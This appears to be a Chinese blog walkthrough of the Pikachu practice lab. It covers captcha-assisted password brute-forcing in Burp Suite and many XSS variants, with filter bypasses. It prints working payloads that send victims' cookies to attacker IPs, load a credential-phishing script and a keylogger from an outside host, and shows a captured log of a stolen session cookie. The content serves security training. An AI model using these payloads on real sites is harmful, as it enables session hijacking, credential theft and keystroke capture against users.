- https://www.cnblogs.com/4geek/p/17145385.html#!comments
同样的下载响应的包和服务,导入burp
这个界面会比刚刚的简洁一点,先启动下服务
访问生成验证码的接口,获取请求包
http://172.168.20.140:8110/xyhai.php?s=/Login/verify/id/a_login_1
在这里就可以看到获取到的验证码,接下来配置接口URL,地址栏中输入http://127.0.0.1:8888,然后在Request template中右键在模板库中选择ddddocr:
然后获取-》识别看右边的结果,然后开始爆破配置
因为有两个参数且互相关联要同时变化,所以用这个模式pitchfork,第一个参数导入密码字典
第二个参数选择我们的拓展插件生成的验证码
线程池还是同一个
用的时候记得勾选这个
识别好像还行,但爆破结果好像不怎么样,不如前一个,应该是我没配置好
2. XSS漏洞
XSS(跨站脚本)概述
Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写”CSS”冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
你可以通过“Cross-Site Scripting”对应的测试栏目,来进一步的了解该漏洞。
2.1 反射型(get)
反射型 XSS,非持久化,需要欺骗用户自己去点击链接才能触发XSS 代码。反射型 xss 攻击的方法,攻击者通过发送邮件或诱导等方法,将包含有xss 恶意链接发送给目标用户,当目标用户访问该链接时,服务器将接收该用户的请求并进行处理,然后服务器把带有 xss 恶意脚本发送给目标用户的浏览器,浏览器解析这段带有 xss 代码的恶意脚本后,就会触发 xss 攻击。
敲到这里,发现敲不进去了,F12修改一下这里的长度限制
2.2 反射型(post)
同样的句子,两者区别:get型提交的数据会显示在url中,而post不会。
但练习xss获取cookie,我们试试,要有一个接收的服务器,这里我们用kali快速搭建一个
python -m http.server 9966 |
在服务器中准备一个test.php
|
意思是将cookie保存到$cookie函数中然后保存到cookie.txt文件中
我们再创建一个cookie.txt文件
然后我们利用反射型xss进行攻击,首先来构造一个payload,我们接收cookie的地址为
http://192.168.174.137:9966/test.php
<script>document.location='http://192.168.174.137:9966/test.php?cookie='+document.cookie;</script> |
GET /test.php?cookie=ant[uname]=admin;%20ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815;%20PHPSESSID=qptcbc76h4b9sonl89b7pmmckc HTTP/1.1" 200 - |
用不同的账户登陆,比如test
刷新浏览器,抓包
把cookie替换为我们抓到的值
2.3 存储型
存储型 XSS,持久化,代码是存储在服务器中的数据库里,如在个人信息或发表文章等地方,可以插入代码,如果插入的数据没有过滤或过滤不严,那么这些恶意代码没有经过过滤将储存到数据库中,用户访问该页面的时候,没有进行编码过滤输出到浏览器上,就会触发代码执行,造成xss 攻击。
<script>alert('xss')</script> |
提交时会弹窗,刷也会,这是因为语句被存入数据库,数据库每次查询完都会执行一次。
2.4 DOM型xss
DOM,全称 DocumentObject Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。DOM 型 XSS 其实是一种特殊类型的反射型 XSS,它是基于 DOM 文档对象模型的一种漏洞。
在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的 Document object 文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过 JS 脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM 来动态修改页面内容,从客户端获取 DOM 中的数据并在本地执行。基于这个特性,就可以利用 JS 脚本来实现 XSS 漏洞的利用。
以下是一些经常出现 dom xss 的关键语句
document.referer 属性
window.name 属性
location 属性
innerHTML属性
documen.write 属性
输入个1试试,点一下,会访问/vul/xss/1,所以我们可以试着将这个链接重定向到别的地方。
js函数也给了提示
function domxss(){ |
当我们鼠标悬停在img上时就会弹出,onlick是点击
2.4.1 DOM-xss-x
输入个1试试,发现有个链接,然后url中传了个参数
先点击链接试试
多了个链接,再点击试试,和前面那个一样
先试试直接传参数
<script>alert%28%27xss%27%29%3B<%2Fscript> |
发现有些符号被转码了,再点击试试
<script>alert( |
最终只剩下这些东西了,查看网页源代码
function domxss(){ |
它的输入实际上是从url上获取的,这就类似反射性。
这个replace函数还要特意去看一下,有一些正则表达式
正则表达式 /\+/g
是用来匹配字符串中的 +
字符的。
其中:
/
是正则表达式的起始和结束符号。\/
匹配一个正斜杠字符/
。\+
匹配一个加号字符+
。由于加号+
在正则表达式中有特殊含义(表示匹配前一个字符一次或多次),因此需要使用反斜杠\
进行转义,以表示字面意义上的加号字符。g
是全局匹配标志,表示在整个字符串中查找所有匹配项,而不仅仅是第一个匹配项。
2.5 xss盲打
看了下源代码没什么线索,直接输入语句测试一下,没反应,tip提示登陆
发现登陆时会弹出来
可以看到虽然没有显示,但查看元素的时候还是有的,说明数据被存入数据库了。
这个用docker搭建的靶场,数据库还有点难进,不知道密码。。。只能先配置跳过了
2.6 xss之过滤
看了下,源代码里没什么线索
在用”onclick=”alert(‘xss’)”>,发现整个句子都被反回来了
’<script>alert('xss')</script>‘ |
试了下这一句
试试大写,也不行,试试混写
<scRIPt>alert(666)</ScrIpt> |
这句可以
2.7 xss之htmlspecialchars
这是一个php的函数会把预定义的字符 “<” (小于)和 “>” (大于)转换为 HTML 实体:
我们发现除了单引号其他的特殊字符都进行了编码,我们可以输入q' onclick='alert(666)'
第一个单引号是对前面进行闭合。
发现是 a 标签 所以可以使用 javascript:alert(/xss/)
2.8 xss之href输出
同样是a标签
2.9 xss之js输出
查看下源码,可以找到函数
$ms='1'; |
输入tmac发现确实会返回,尝试下闭合
输入1'</script><script>alert('xss')</script>
,先将前面的script闭合再插入我们自己的语句
2.10 xss之获取cookie
2.10.1 get
这里我们利用pikachu’自带的工具测试
构造语句
<script>document.location = 'http://192.168.174.142:8080/pkxss/xcookie/cookie.php?cookie=' +document.cookie;</script> |
然后在get中插入xss语句,会在后台得到PHPSSID
执行之后,跳转到pikachu/index.php,因为我这里docker配置的环境,所以没有更改目标地址,所以可能访问不到这个页面,可以自己修改
2.10.2 post
输入账号密码登录,页面跳转,因为post类型,所以参数没有在url中显示。得抓包才能看到
我们发现message是通过请求体返回,通过post方式传到后台。这样的话是不能把恶意代码嵌入url中。
POST型XSS获取cookie原理
我们需要自己搭一个恶意站点,然后在网站上放一个post表单,将存放POST表单的链接发送给受害者,诱导受害者点击。 这个POST表单会自动向漏洞服务器提交一个POST请求,实现受害者帮我们提交POST请求的目的。我们只需要诱导受害者点击上面的链接就能窃取用户的Cookie。
2.11 xss之钓鱼PHP中Header函数和PHP_AUTH_USER做用户验证
在开始之前,需要修改一下fish.php文件
打开xss钓鱼后台,打开存储型xss,输入
<script src="http://192.168.174.142:8080/pkxss/xfish/fish.php"></script> |
页面会出现弹窗,输入账号密码。当页面刷新时依然存在弹窗,所有访问者都会遇到弹窗,输入账号密码后,数据被存入后台,打开xss后台即可查看钓鱼数据。
之前源文件多了个空格,一直没信息过来。。。
2.12XSS获取键盘记录
当协议、主机(主域名,子域名)、端口中的任意一一个不相同时,称为不同域。我们把不同的域之间请求数据的操作,成为跨域操作。
跨域同源策略
了安全考虑,所有的浏览器都约定了”同源策略”, 同源策略规定,两个不同域名之间不能使用JS进行相互操作。比如: x.com域名下的javascrip并不能操作y.com域下的对象。
如果想要跨域操作,则需要管理员进行特殊的配置。
比如通过: header( “Access -Control Allow- Origin:x.com” )指定。
Tips:下面这些标签跨域加载资源(资源类型是有限制的)是不受同源策略限制的。
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
原文链接:https://blog.csdn.net/qq_53571321/article/details/121692906
先修改下rk.js和rkserver文件
在pikachu存储型xss模块进行键盘记录的实验演示:
在存储型xss漏洞模块输入
<script src="http://192.168.174.142:8080/pkxss/rkeypress/rk.js"></script> |
此时这段JavaScript就被嵌入到了页面中,此时在网页上输入的键盘就会被存储到攻击者的后台